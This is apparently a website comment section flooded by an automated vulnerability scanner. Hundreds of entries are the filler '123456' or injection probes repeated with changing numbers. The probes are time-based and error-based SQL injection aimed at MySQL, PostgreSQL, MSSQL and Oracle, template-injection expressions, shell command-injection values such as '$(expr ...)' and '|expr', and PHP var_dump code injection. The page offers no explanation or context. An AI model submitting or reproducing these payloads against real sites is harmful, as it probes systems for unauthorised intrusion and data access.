Commentaires 809

1. 

   123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

---

2. 

   123456'"\(

---

3. 

   123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

---

4. 

   123456鎈'"\(

---

5. 

   123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

---

6. 

   123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

---

7. 

   123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1427834576')))>'0

---

8. 

   123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

---

9. 

   convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1657759260')))

---

10. 

    123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

---

11. 

    123456/**/and/**/cast(md5('1380920994')as/**/int)>0

---

12. 

    123456'and(select'1'from/**/cast(md5(1229229765)as/**/int))>'0

---

13. 

    (select*from(select+sleep(2)union/**/select+1)a)

---

14. 

    (select*from(select+sleep(0)union/**/select+1)a)

---

15. 

    extractvalue(1,concat(char(126),md5(1925127654)))

---

16. 

    123456"and"z"="l

---

17. 

    123456"and"v"="v

---

18. 

    123456"and/**/extractvalue(1,concat(char(126),md5(1923223849)))and"

---

19. 

    123456'and'x'='g

---

20. 

    123456'and/**/extractvalue(1,concat(char(126),md5(1009251390)))and'

---

21. 

    123456'and'n'='n

---

22. 

    123456/**/and+0=5

---

23. 

    123456/**/and+2=2

---

24. 

    <%- 882111715+924238581 %>

---

25. 

    #set($c=828771954+859005817)${c}$c

---

26. 

    ${(981483866+928801506)?c}

---

27. 

    123456

---

28. 

    ${921711155+869783259}

---

29. 

    123456

---

30. 

    /*1*/{{840618757+954501444}}

---

31. 

    123456

---

32. 

    123456

---

33. 

    123456

---

34. 

    123456

---

35. 

    123456

---

36. 

    123456

---

37. 

    123456

---

38. 

    123456

---

39. 

    123456

---

40. 

    123456

---

41. 

    123456

---

42. 

    123456

---

43. 

    123456

---

44. 

    123456

---

45. 

    123456

---

46. 

    123456

---

47. 

    123456

---

48. 

    123456

---

49. 

    123456

---

50. 

    123456

---

51. 

    123456

---

52. 

    123456

---

53. 

    123456

---

54. 

    123456

---

55. 

    123456

---

56. 

    123456

---

57. 

    123456

---

58. 

    123456

---

59. 

    '-var_dump(md5(841093451))-'

---

60. 

    123456

---

61. 

    expr 917982077 + 818708370

---

62. 

    123456

---

63. 

    123456

---

64. 

    123456

---

65. 

    ${930192889+944560797}

---

66. 

    ${@var_dump(md5(431501911))};

---

67. 

    123456

---

68. 

    123456&set /A 977184189+818662923

---

69. 

    123456

---

70. 

    123456

---

71. 

    123456

---

72. 

    123456

---

73. 

    123456$(expr 908037026 + 942056801)

---

74. 

    123456

---

75. 

    123456

---

76. 

    123456

---

77. 

    123456|expr 906638464 + 912471716

---

78. 

    123456

---

79. 

    123456 expr 960024069 + 891921894

---

80. 

    123456

---

81. 

    123456

---

82. 

    123456

---

83. 

    123456

---

84. 

    123456

---

85. 

    123456

---

86. 

    123456

---

87. 

    123456

---

88. 

    123456

---

89. 

    123456

---

90. 

    123456

---

91. 

    123456

---

92. 

    123456

---

93. 

    123456

---

94. 

    123456

---

95. 

    123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('q',2)='q

---

96. 

    123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('r',0)='r

---

97. 

    123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('h',2)

---

98. 

    123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('f',0)

---

99. 

    123456'and(select+1)>0waitfor/**/delay'0:0:2

---

100. 

     123456'and(select+1)>0waitfor/**/delay'0:0:0

---

101. 

     123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

---

102. 

     123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

---

103. 

     123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

---

104. 

     123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

---

105. 

     123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

---

106. 

     123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

---

107. 

     123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

---

108. 

     123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

---

109. 

     123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

---

110. 

     123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

---

111. 

     (select*from(select+sleep(2)union/**/select+1)a)

---

112. 

     (select*from(select+sleep(0)union/**/select+1)a)

---

113. 

     123456"and"t"="r

---

114. 

     123456"and"q"="q

---

115. 

     123456'and'v'='u

---

116. 

     123456'and'r'='r

---

117. 

     123456/**/and+4=8

---

118. 

     123456/**/and+4=4

---

119. 

     123456

---

120. 

     123456

---

121. 

     123456

---

122. 

     123456

---

123. 

     123456

---

124. 

     123456

---

125. 

     123456

---

126. 

     123456

---

127. 

     123456

---

128. 

     123456

---

129. 

     123456

---

130. 

     123456

---

131. 

     123456

---

132. 

     123456

---

133. 

     <%- 885596054+868494798 %>

---

134. 

     123456

---

135. 

     #set($c=844427502+987937890)${c}$c

---

136. 

     123456

---

137. 

     123456

---

138. 

     ${(952621462+899112963)?c}

---

139. 

     123456

---

140. 

     123456

---

141. 

     123456

---

142. 

     123456

---

143. 

     ${913522993+830413720}

---

144. 

     123456'"\(

---

145. 

     123456

---

146. 

     123456

---

147. 

     123456

---

148. 

     123456鎈'"\(

---

149. 

     /*1*/{{976970478+937281612}}

---

150. 

     123456

---

151. 

     123456

---

152. 

     123456

---

153. 

     123456

---

154. 

     123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1777338317')))>'0

---

155. 

     123456

---

156. 

     123456

---

157. 

     123456

---

158. 

     convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1067679780')))

---

159. 

     123456

---

160. 

     '-var_dump(md5(987180887))-'

---

161. 

     123456

---

162. 

     123456

---

163. 

     123456/**/and/**/cast(md5('1889105430')as/**/int)>0

---

164. 

     ${887236404+807649614}

---

165. 

     ${@var_dump(md5(157588808))};

---

166. 

     123456

---

167. 

     expr 904545576 + 803906768

---

168. 

     123456'and(select'1'from/**/cast(md5(1947398090)as/**/int))>'0

---

169. 

     123456

---

170. 

     123456

---

171. 

     123456&set /A 894770294+949701691

---

172. 

     extractvalue(1,concat(char(126),md5(1672279064)))

---

173. 

     123456

---

174. 

     123456

---

175. 

     123456$(expr 851202528 + 907144755)

---

176. 

     123456"and/**/extractvalue(1,concat(char(126),md5(1553612386)))and"

---

177. 

     123456

---

178. 

     123456|expr 884345684 + 879573830

---

179. 

     123456'and/**/extractvalue(1,concat(char(126),md5(1278877303)))and'

---

180. 

     123456 expr 806050133 + 821738999

---

181. 

     123456

---

182. 

     123456

---

183. 

     123456

---

184. 

     123456

---

185. 

     123456

---

186. 

     123456

---

187. 

     123456

---

188. 

     123456

---

189. 

     123456

---

190. 

     123456

---

191. 

     123456

---

192. 

     123456

---

193. 

     123456

---

194. 

     123456

---

195. 

     123456

---

196. 

     123456

---

197. 

     123456

---

198. 

     123456

---

199. 

     123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('w',2)='w

---

200. 

     123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('e',0)='e

---

201. 

     123456

---

202. 

     123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('h',2)

---

203. 

     123456

---

204. 

     123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('v',0)

---

205. 

     123456

---

206. 

     123456'and(select+1)>0waitfor/**/delay'0:0:2

---

207. 

     123456

---

208. 

     123456'and(select+1)>0waitfor/**/delay'0:0:0

---

209. 

     123456

---

210. 

     123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

---

211. 

     123456

---

212. 

     123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

---

213. 

     123456

---

214. 

     123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

---

215. 

     123456

---

216. 

     123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

---

217. 

     123456

---

218. 

     123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

---

219. 

     123456'"\(

---

220. 

     123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

---

221. 

     123456鎈'"\(

---

222. 

     123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

---

223. 

     123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1285788090')))>'0

---

224. 

     123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

---

225. 

     convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1142318034')))

---

226. 

     123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

---

227. 

     123456/**/and/**/cast(md5('1431378231')as/**/int)>0

---

228. 

     123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

---

229. 

     123456'and(select'1'from/**/cast(md5(1462158007)as/**/int))>'0

---

230. 

     (select*from(select+sleep(2)union/**/select+1)a)

---

231. 

     123456

---

232. 

     extractvalue(1,concat(char(126),md5(1115094372)))

---

233. 

     (select*from(select+sleep(0)union/**/select+1)a)

---

234. 

     123456

---

235. 

     123456"and/**/extractvalue(1,concat(char(126),md5(1292582271)))and"

---

236. 

     123456

---

237. 

     123456

---

238. 

     123456

---

239. 

     123456'and/**/extractvalue(1,concat(char(126),md5(1352105306)))and'

---

240. 

     123456

---

241. 

     123456

---

242. 

     123456

---

243. 

     123456

---

244. 

     123456

---

245. 

     123456

---

246. 

     123456

---

247. 

     123456

---

248. 

     123456"and"q"="p

---

249. 

     123456

---

250. 

     123456

---

251. 

     123456

---

252. 

     123456"and"t"="t

---

253. 

     123456

---

254. 

     123456

---

255. 

     123456

---

256. 

     123456'and's'='u

---

257. 

     <%- 902339199+985822676 %>

---

258. 

     123456

---

259. 

     123456

---

260. 

     123456

---

261. 

     123456'and'u'='u

---

262. 

     #set($c=948663514+829354216)${c}$c

---

263. 

     123456

---

264. 

     ${973692058+889887528}

---

265. 

     123456

---

266. 

     expr 829067025 + 816269364

---

267. 

     123456/**/and+2=9

---

268. 

     ${(854089482+975858400)?c}

---

269. 

     123456

---

270. 

     123456

---

271. 

     123456&set /A 920617510+933846181

---

272. 

     123456/**/and+4=4

---

273. 

     ${897487521+981457333}

---

274. 

     '-var_dump(md5(161637087))-'

---

275. 

     123456

---

276. 

     123456$(expr 960929516 + 808431982)

---

277. 

     123456

---

278. 

     /*1*/{{910621209+816703997}}

---

279. 

     ${@var_dump(md5(523278962))};

---

280. 

     123456

---

281. 

     123456|expr 902531826 + 947897554

---

282. 

     123456

---

283. 

     123456 expr 877065823 + 863835473

---

284. 

     123456

---

285. 

     123456

---

286. 

     123456

---

287. 

     123456

---

288. 

     123456

---

289. 

     123456

---

290. 

     123456

---

291. 

     123456

---

292. 

     123456

---

293. 

     123456

---

294. 

     123456

---

295. 

     123456

---

296. 

     123456

---

297. 

     123456

---

298. 

     123456

---

299. 

     123456

---

300. 

     123456

---

301. 

     123456

---

302. 

     123456

---

303. 

     123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('x',2)='x

---

304. 

     123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('w',0)='w

---

305. 

     123456/**/and/**/0=DBMS_PIPE.RECEIVE_MESSAGE('s',2)

---

306. 

     123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('x',0)

---

307. 

     123456'and(select+1)>0waitfor/**/delay'0:0:2

---

308. 

     123456'and(select+1)>0waitfor/**/delay'0:0:0

---

309. 

     123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

---

310. 

     123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

---

311. 

     123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

---

312. 

     123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

---

313. 

     123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

---

314. 

     123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

---

315. 

     123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

---

316. 

     123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

---

317. 

     123456

---

318. 

     123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

---

319. 

     123456

---

320. 

     123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

---

321. 

     123456

---

322. 

     (select*from(select+sleep(2)union/**/select+1)a)

---

323. 

     123456

---

324. 

     (select*from(select+sleep(0)union/**/select+1)a)

---

325. 

     123456

---

326. 

     123456"and"a"="a

---

327. 

     123456

---

328. 

     123456"and"g"="g

---

329. 

     123456

---

330. 

     123456'and'm'='t

---

331. 

     123456

---

332. 

     123456'and'v'='v

---

333. 

     123456

---

334. 

     123456/**/and+2=8

---

335. 

     123456'"\(

---

336. 

     123456/**/and+1=1

---

337. 

     123456鎈'"\(

---

338. 

     123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1473082796')))>'0

---

339. 

     convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1616443918')))

---

340. 

     123456/**/and/**/cast(md5('1189900644')as/**/int)>0

---

341. 

     123456'and(select'1'from/**/cast(md5(1018562449)as/**/int))>'0

---

342. 

     123456

---

343. 

     extractvalue(1,concat(char(126),md5(1624435672)))

---

344. 

     123456

---

345. 

     123456"and/**/extractvalue(1,concat(char(126),md5(1595669790)))and"

---

346. 

     expr 847530039 + 810147381

---

347. 

     123456

---

348. 

     123456'and/**/extractvalue(1,concat(char(126),md5(1494072461)))and'

---

349. 

     123456&set /A 933740412+868389204

---

350. 

     123456

---

351. 

     123456

---

352. 

     123456$(expr 809984711 + 970335624)

---

353. 

     123456

---

354. 

     123456

---

355. 

     123456|expr 967124462 + 877707892

---

356. 

     123456

---

357. 

     123456

---

358. 

     123456

---

359. 

     123456 expr 824564826 + 898738989

---

360. 

     123456

---

361. 

     123456

---

362. 

     123456

---

363. 

     123456

---

364. 

     123456

---

365. 

     123456

---

366. 

     123456

---

367. 

     <%- 976591001+832361097 %>

---

368. 

     123456

---

369. 

     '-var_dump(md5(603279815))-'

---

370. 

     #set($c=998199555+877816405)${c}$c

---

371. 

     123456

---

372. 

     ${@var_dump(md5(930728667))};

---

373. 

     ${864343874+820114766}

---

374. 

     123456

---

375. 

     ${(887657518+906151521)?c}

---

376. 

     123456

---

377. 

     123456

---

378. 

     ${844680418+813759180}

---

379. 

     123456

---

380. 

     123456

---

381. 

     123456

---

382. 

     /*1*/{{959773152+991089751}}

---

383. 

     123456

---

384. 

     123456

---

385. 

     123456

---

386. 

     123456

---

387. 

     123456

---

388. 

     123456

---

389. 

     123456

---

390. 

     123456

---

391. 

     123456

---

392. 

     123456

---

393. 

     123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('h',2)='h

---

394. 

     123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('l',0)='l

---

395. 

     123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('p',2)

---

396. 

     123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('w',0)

---

397. 

     123456'and(select+1)>0waitfor/**/delay'0:0:2

---

398. 

     123456'and(select+1)>0waitfor/**/delay'0:0:0

---

399. 

     123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

---

400. 

     123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

---

401. 

     123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

---

402. 

     123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

---

403. 

     123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

---

404. 

     123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

---

405. 

     123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

---

406. 

     123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

---

407. 

     123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

---

408. 

     123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

---

409. 

     (select*from(select+sleep(2)union/**/select+1)a)

---

410. 

     (select*from(select+sleep(0)union/**/select+1)a)

---

411. 

     123456"and"x"="n

---

412. 

     123456"and"b"="b

---

413. 

     123456'and'h'='g

---

414. 

     123456'and'm'='m

---

415. 

     123456/**/and+3=9

---

416. 

     123456/**/and+1=1

---

417. 

     123456'"\(

---

418. 

     123456鎈'"\(

---

419. 

     123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1940920833')))>'0

---

420. 

     convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1741588205')))

---

421. 

     123456/**/and/**/cast(md5('1294636214')as/**/int)>0

---

422. 

     123456'and(select'1'from/**/cast(md5(1225133297)as/**/int))>'0

---

423. 

     extractvalue(1,concat(char(126),md5(1588137723)))

---

424. 

     123456"and/**/extractvalue(1,concat(char(126),md5(1621554262)))and"

---

425. 

     123456'and/**/extractvalue(1,concat(char(126),md5(1903567883)))and'

---

426. 

     123456

---

427. 

     123456

---

428. 

     123456

---

429. 

     123456

---

430. 

     123456

---

431. 

     123456

---

432. 

     <%- 930314570+947839800 %>

---

433. 

     123456

---

434. 

     123456

---

435. 

     #set($c=873993475+968034878)${c}$c

---

436. 

     123456

---

437. 

     123456

---

438. 

     ${(832592860+840909863)?c}

---

439. 

     123456

---

440. 

     123456

---

441. 

     123456

---

442. 

     ${955031237+973031829}

---

443. 

     123456

---

444. 

     123456

---

445. 

     123456

---

446. 

     /*1*/{{857493744+997653802}}

---

447. 

     123456

---

448. 

     123456

---

449. 

     123456

---

450. 

     123456

---

451. 

     123456

---

452. 

     123456

---

453. 

     123456

---

454. 

     123456

---

455. 

     123456

---

456. 

     123456

---

457. 

     123456

---

458. 

     123456

---

459. 

     123456

---

460. 

     123456

---

461. 

     123456

---

462. 

     123456

---

463. 

     123456

---

464. 

     123456

---

465. 

     123456

---

466. 

     123456

---

467. 

     123456

---

468. 

     123456

---

469. 

     123456

---

470. 

     123456

---

471. 

     123456

---

472. 

     123456

---

473. 

     123456

---

474. 

     123456

---

475. 

     expr 947554144 + 863401491

---

476. 

     123456

---

477. 

     123456

---

478. 

     '-var_dump(md5(864658332))-'

---

479. 

     123456

---

480. 

     123456

---

481. 

     123456

---

482. 

     123456&set /A 829615933+868899647

---

483. 

     123456

---

484. 

     123456

---

485. 

     ${@var_dump(md5(739352308))};

---

486. 

     123456

---

487. 

     ${914735921+996867240}

---

488. 

     123456$(expr 932642499 + 827294311)

---

489. 

     123456

---

490. 

     123456

---

491. 

     123456

---

492. 

     123456|expr 883871977 + 806021393

---

493. 

     123456

---

494. 

     123456

---

495. 

     123456 expr 939768310 + 886771740

---

496. 

     123456

---

497. 

     123456

---

498. 

     123456

---

499. 

     123456

---

500. 

     123456

---

501. 

     123456

---

502. 

     123456

---

503. 

     123456

---

504. 

     123456

---

505. 

     123456

---

506. 

     123456

---

507. 

     123456

---

508. 

     123456

---

509. 

     123456

---

510. 

     123456

---

511. 

     123456

---

512. 

     123456

---

513. 

     123456

---

514. 

     123456

---

515. 

     123456

---

516. 

     123456

---

517. 

     123456

---

518. 

     123456

---

519. 

     123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('p',2)='p

---

520. 

     123456

---

521. 

     123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('w',0)='w

---

522. 

     123456

---

523. 

     123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('k',2)

---

524. 

     123456

---

525. 

     123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('s',0)

---

526. 

     123456'and(select+1)>0waitfor/**/delay'0:0:2

---

527. 

     123456

---

528. 

     123456'and(select+1)>0waitfor/**/delay'0:0:0

---

529. 

     123456

---

530. 

     123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

---

531. 

     123456

---

532. 

     123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

---

533. 

     123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('g',2)='g

---

534. 

     123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

---

535. 

     123456

---

536. 

     123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

---

537. 

     123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('v',0)='v

---

538. 

     123456

---

539. 

     123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

---

540. 

     123456/**/and/**/2=DBMS_PIPE.RECEIVE_MESSAGE('l',2)

---

541. 

     123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

---

542. 

     123456

---

543. 

     123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

---

544. 

     123456/**/and/**/3=DBMS_PIPE.RECEIVE_MESSAGE('d',0)

---

545. 

     123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

---

546. 

     123456

---

547. 

     123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

---

548. 

     123456'and(select+1)>0waitfor/**/delay'0:0:2

---

549. 

     123456

---

550. 

     123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

---

551. 

     123456'and(select+1)>0waitfor/**/delay'0:0:0

---

552. 

     123456

---

553. 

     (select*from(select+sleep(2)union/**/select+1)a)

---

554. 

     123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

---

555. 

     (select*from(select+sleep(0)union/**/select+1)a)

---

556. 

     123456

---

557. 

     123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

---

558. 

     123456"and"x"="m

---

559. 

     123456

---

560. 

     123456"and"o"="o

---

561. 

     123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

---

562. 

     123456

---

563. 

     123456'and'e'='p

---

564. 

     123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

---

565. 

     123456'and'c'='c

---

566. 

     123456'"\(

---

567. 

     123456

---

568. 

     123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

---

569. 

     123456/**/and+2=9

---

570. 

     123456

---

571. 

     123456鎈'"\(

---

572. 

     123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

---

573. 

     123456/**/and+0=0

---

574. 

     123456

---

575. 

     123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1010985196')))>'0

---

576. 

     123456

---

577. 

     123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

---

578. 

     <%- 809043140+959435533 %>

---

579. 

     convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1460671606')))

---

580. 

     123456

---

581. 

     123456

---

582. 

     #set($c=922354491+863549560)${c}$c

---

583. 

     123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

---

584. 

     123456

---

585. 

     expr 858651725 + 957294048

---

586. 

     ${(875042431+809483319)?c}

---

587. 

     123456/**/and/**/cast(md5('1236992698')as/**/int)>0

---

588. 

     123456

---

589. 

     123456

---

590. 

     123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

---

591. 

     ${991571100+997630457}

---

592. 

     123456&set /A 834425256+978003310

---

593. 

     123456

---

594. 

     123456'and(select'1'from/**/cast(md5(1333893202)as/**/int))>'0

---

595. 

     /*1*/{{876961082+953669598}}

---

596. 

     123456$(expr 811523011 + 919800335)

---

597. 

     123456

---

598. 

     123456

---

599. 

     expr 929326142 + 934295613

---

600. 

     123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

---

601. 

     123456

---

602. 

     123456|expr 967997465 + 921876707

---

603. 

     123456

---

604. 

     extractvalue(1,concat(char(126),md5(1456270671)))

---

605. 

     123456

---

606. 

     123456'"\(

---

607. 

     123456&set /A 820038863+936144303

---

608. 

     (select*from(select+sleep(2)union/**/select+1)a)

---

609. 

     123456 expr 910423050 + 802632083

---

610. 

     123456

---

611. 

     123456"and/**/extractvalue(1,concat(char(126),md5(1171508086)))and"

---

612. 

     123456

---

613. 

     123456鎈'"\(

---

614. 

     123456$(expr 851036347 + 860862115)

---

615. 

     (select*from(select+sleep(0)union/**/select+1)a)

---

616. 

     123456

---

617. 

     123456

---

618. 

     123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1967466712')))>'0

---

619. 

     123456'and/**/extractvalue(1,concat(char(126),md5(1741218153)))and'

---

620. 

     <%- 989092358+898421895 %>

---

621. 

     123456|expr 998330394 + 908782930

---

622. 

     123456

---

623. 

     123456

---

624. 

     123456

---

625. 

     convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1748024524')))

---

626. 

     #set($c=830518319+818474391)${c}$c

---

627. 

     123456 expr 955738651 + 966292324

---

628. 

     123456

---

629. 

     123456

---

630. 

     123456

---

631. 

     123456

---

632. 

     123456/**/and/**/cast(md5('1459642362')as/**/int)>0

---

633. 

     123456

---

634. 

     ${(870328844+811621257)?c}

---

635. 

     123456

---

636. 

     123456

---

637. 

     123456

---

638. 

     123456

---

639. 

     123456

---

640. 

     123456'and(select'1'from/**/cast(md5(1422587994)as/**/int))>'0

---

641. 

     123456

---

642. 

     ${981784478+830283876}

---

643. 

     123456

---

644. 

     123456

---

645. 

     123456"and"i"="u

---

646. 

     123456

---

647. 

     123456

---

648. 

     extractvalue(1,concat(char(126),md5(1658534607)))

---

649. 

     '-var_dump(md5(100936162))-'

---

650. 

     /*1*/{{939097306+868108279}}

---

651. 

     123456

---

652. 

     123456

---

653. 

     123456

---

654. 

     123456

---

655. 

     123456"and"h"="h

---

656. 

     123456

---

657. 

     123456"and/**/extractvalue(1,concat(char(126),md5(1050133391)))and"

---

658. 

     ${@var_dump(md5(414356529))};

---

659. 

     123456

---

660. 

     123456

---

661. 

     ${951330340+920608553}

---

662. 

     123456

---

663. 

     123456'and'c'='s

---

664. 

     '-var_dump(md5(903584114))-'

---

665. 

     123456

---

666. 

     123456'and/**/extractvalue(1,concat(char(126),md5(1497330294)))and'

---

667. 

     123456

---

668. 

     123456

---

669. 

     123456

---

670. 

     123456

---

671. 

     123456'and'v'='v

---

672. 

     ${@var_dump(md5(137301130))};

---

673. 

     123456

---

674. 

     123456

---

675. 

     123456

---

676. 

     123456

---

677. 

     123456

---

678. 

     123456

---

679. 

     123456/**/and+0=9

---

680. 

     123456

---

681. 

     123456

---

682. 

     123456

---

683. 

     123456

---

684. 

     123456

---

685. 

     123456

---

686. 

     123456

---

687. 

     123456/**/and+2=2

---

688. 

     ${997001256+870456720}

---

689. 

     123456

---

690. 

     123456

---

691. 

     123456

---

692. 

     123456

---

693. 

     123456

---

694. 

     123456

---

695. 

     123456

---

696. 

     123456

---

697. 

     123456

---

698. 

     123456

---

699. 

     123456

---

700. 

     123456

---

701. 

     123456

---

702. 

     123456

---

703. 

     123456

---

704. 

     123456

---

705. 

     123456

---

706. 

     123456

---

707. 

     123456

---

708. 

     123456

---

709. 

     123456

---

710. 

     123456

---

711. 

     123456

---

712. 

     123456

---

713. 

     123456

---

714. 

     123456

---

715. 

     123456

---

716. 

     123456

---

717. 

     123456

---

718. 

     123456

---

719. 

     123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('r',2)='r

---

720. 

     123456'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('q',0)='q

---

721. 

     123456/**/and/**/4=DBMS_PIPE.RECEIVE_MESSAGE('e',2)

---

722. 

     123456

---

723. 

     123456/**/and/**/1=DBMS_PIPE.RECEIVE_MESSAGE('f',0)

---

724. 

     123456

---

725. 

     123456'and(select+1)>0waitfor/**/delay'0:0:2

---

726. 

     123456

---

727. 

     123456'and(select+1)>0waitfor/**/delay'0:0:0

---

728. 

     123456

---

729. 

     123456/**/and(select+1)>0waitfor/**/delay'0:0:2'/**/

---

730. 

     123456/**/and(select+1)>0waitfor/**/delay'0:0:0'/**/

---

731. 

     123456

---

732. 

     123456'/**/and(select'1'from/**/pg_sleep(2))::text>'0

---

733. 

     123456

---

734. 

     123456

---

735. 

     123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0

---

736. 

     123456

---

737. 

     123456/**/and(select+1/**/from/**/pg_sleep(2))>0/**/

---

738. 

     123456

---

739. 

     123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/

---

740. 

     123456'"\(

---

741. 

     123456"and(select*from(select+sleep(2))a/**/union/**/select+1)="

---

742. 

     123456

---

743. 

     123456

---

744. 

     expr 962453439 + 997607537

---

745. 

     123456鎈'"\(

---

746. 

     123456"and(select*from(select+sleep(0))a/**/union/**/select+1)="

---

747. 

     123456

---

748. 

     123456

---

749. 

     123456'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1447680055')))>'0

---

750. 

     123456&set /A 910627595+942987222

---

751. 

     123456'and(select*from(select+sleep(2))a/**/union/**/select+1)='

---

752. 

     123456

---

753. 

     123456

---

754. 

     convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1435564280')))

---

755. 

     123456$(expr 875166856 + 985461767)

---

756. 

     123456'and(select*from(select+sleep(0))a/**/union/**/select+1)='

---

757. 

     123456

---

758. 

     123456

---

759. 

     123456/**/and/**/cast(md5('1197541302')as/**/int)>0

---

760. 

     123456|expr 965219976 + 897620401

---

761. 

     (select*from(select+sleep(2)union/**/select+1)a)

---

762. 

     123456

---

763. 

     123456

---

764. 

     123456 expr 831033983 + 804974613

---

765. 

     123456'and(select'1'from/**/cast(md5(1944757051)as/**/int))>'0

---

766. 

     (select*from(select+sleep(0)union/**/select+1)a)

---

767. 

     123456

---

768. 

     <%- 803516754+812229773 %>

---

769. 

     extractvalue(1,concat(char(126),md5(1693985731)))

---

770. 

     123456

---

771. 

     123456

---

772. 

     #set($c=959116925+812841465)${c}$c

---

773. 

     123456"and/**/extractvalue(1,concat(char(126),md5(1418842789)))and"

---

